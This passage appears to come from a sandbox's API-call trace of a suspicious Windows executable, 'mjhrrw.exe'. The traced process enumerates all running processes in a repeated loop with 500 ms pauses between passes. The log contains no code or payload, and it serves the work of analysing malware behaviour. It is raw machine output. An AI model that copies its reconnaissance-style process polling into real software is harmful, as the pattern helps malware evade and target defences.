Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0221.959] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3f, th32ParentProcessID=0xa10, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0221.960] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0221.960] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0221.961] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0221.961] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0221.962] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0221.963] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0xc88, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0221.963] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0221.964] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 0 [0221.964] CloseHandle (hObject=0x364) returned 1 [0221.964] Sleep (dwMilliseconds=0x1f4) [0222.920] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x358 [0222.929] Process32FirstW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0222.930] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0222.930] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0222.931] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0222.932] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0222.932] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0222.933] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0222.933] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0222.934] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0222.934] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0222.935] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0222.935] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.936] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.937] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0222.937] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.937] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.938] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.938] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3e, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.939] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.939] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.940] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.940] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.941] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.942] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.942] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0222.943] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.943] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0222.944] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0222.944] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0222.945] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0222.945] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0222.946] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.946] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0222.947] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0xa10, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0222.948] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0222.948] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0222.949] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0222.949] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0222.950] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0222.950] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0xc88, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0222.951] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0222.951] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 0 [0222.953] CloseHandle (hObject=0x358) returned 1 [0222.953] Sleep (dwMilliseconds=0x1f4) [0223.594] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x374 [0223.597] Process32FirstW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0223.598] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0223.598] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0223.599] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0223.599] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0223.600] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0223.600] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0223.601] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0223.601] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0223.602] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0223.602] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0223.602] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.603] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.603] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0223.604] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.604] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.605] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.605] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.606] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.606] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.607] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.607] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.607] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.608] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.608] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0223.609] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.609] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0223.610] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0223.610] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0223.611] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0223.611] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 